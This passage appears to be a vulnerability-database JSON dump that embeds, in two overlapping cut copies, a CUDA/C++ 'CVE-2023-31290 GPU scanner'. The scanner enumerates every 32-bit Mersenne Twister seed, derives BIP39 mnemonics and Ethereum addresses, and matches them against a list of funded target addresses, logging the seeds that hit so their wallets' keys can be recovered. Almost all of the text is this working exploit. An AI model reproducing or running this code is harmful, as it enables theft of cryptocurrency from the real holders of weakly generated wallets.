0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:00:26.599970Z"}, {"uuid": "008befb7-2551-49bf-9678-4d9d9607fd07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/39bdf8e7c7e62c1fca8b12fc511d87bd", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n  